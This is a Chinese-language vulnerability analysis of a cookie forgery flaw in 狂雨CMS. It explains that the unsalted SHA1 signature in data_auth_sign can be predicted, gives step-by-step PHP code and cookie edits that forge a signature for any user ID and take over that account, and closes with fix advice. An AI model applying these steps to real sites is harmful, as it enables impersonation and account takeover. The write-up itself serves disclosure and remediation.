狂雨cms前台cookie伪造漏洞
字数 1222 2025-08-03 16:42:38
狂雨CMS前台Cookie伪造漏洞分析与利用
漏洞概述
狂雨CMS存在一个前台Cookie伪造漏洞,攻击者可以通过构造特定的Cookie值来伪造任意用户身份,实现账户接管。该漏洞源于系统对用户身份验证的签名机制存在缺陷,导致签名可以被伪造。
漏洞分析
关键代码路径
-
用户基础控制器:
application/common/controller/UserBase.phpinitialize()方法定义了UID的获取方式
-
登录验证函数:
application/common.php中的is_login()方法 -
数据签名函数:
data_auth_sign()方法
漏洞原理
-
UID获取机制:
- 系统通过
is_login()方法获取当前用户的UID - 默认情况下(
$type='user'),从Cookie中获取$user和$user_sign变量
- 系统通过
-
验证流程:
if ($user) { return $user_sign == data_auth_sign($user) ? $user['uid'] : 0; }- 系统比较
$user_sign和data_auth_sign($user)的值 - 如果相等,则返回
$user['uid']作为当前用户ID
- 系统比较
-
签名函数缺陷:
function data_auth_sign($data) { if(!is_array($data)) { $data = (array)$data; } ksort($data); $code = http_build_query($data); $sign = sha1($code); return $sign; }- 签名过程完全可预测:数组转换 → 键名排序 → URL编码 → SHA1加密
- 由于算法公开且无随机因素,攻击者可自行计算任意数据的签名
漏洞关键点
$user和$user_sign完全通过Cookie控制data_auth_sign()函数的输出完全取决于输入,无随机因素- 通过控制
$user数组中的uid字段,可指定任意用户ID - 通过计算对应
$user数组的签名,可伪造合法$user_sign
漏洞复现步骤
准备工作
- 在前台注册任意用户并登录
- 观察响应中的Set-Cookie头,获取以下两个值:
lf_user_auth- 对应$user变量user_auth_sign- 对应$user_sign变量
攻击流程
-
复制签名函数:
function data_auth_sign($data) { if(!is_array($data)) { $data = (array)$data; } ksort($data); $code = http_build_query($data); $sign = sha1($code); return $sign; } -
构造恶意数组:
$malicious_user = array( "uid" => "2", // 目标用户ID "username" => "test" // 任意用户名,需与Cookie中保持一致 ); -
生成伪造签名:
$forged_sign = data_auth_sign($malicious_user); -
修改Cookie:
- 将
lf_user_auth中的uid参数修改为目标用户ID(如2) - 将
user_auth_sign替换为上面生成的$forged_sign
- 将
-
发送请求:
- 携带修改后的Cookie访问系统
- 系统将认为你是目标用户(uid=2)
漏洞修复建议
-
加强签名机制:
- 在签名中加入随机盐值(salt)
- 示例修改:
function data_auth_sign($data) { $salt = '随机盐值'; // 应使用强随机数 if(!is_array($data)) { $data = (array)$data; } ksort($data); $code = http_build_query($data) . $salt; return sha1($code); }
-
限制Cookie修改:
- 对重要Cookie启用HttpOnly和Secure标志
- 考虑使用服务端Session存储代替部分Cookie数据
-
增加二次验证:
- 对敏感操作要求密码或二次验证
- 记录异常登录行为
总结
该漏洞利用狂雨CMS身份验证签名机制的可预测性,允许攻击者通过构造特定Cookie来冒充任意用户。由于签名算法公开且无随机因素,攻击者可以轻松伪造合法签名。建议开发者立即修复签名机制,并考虑实施多层次的防御措施。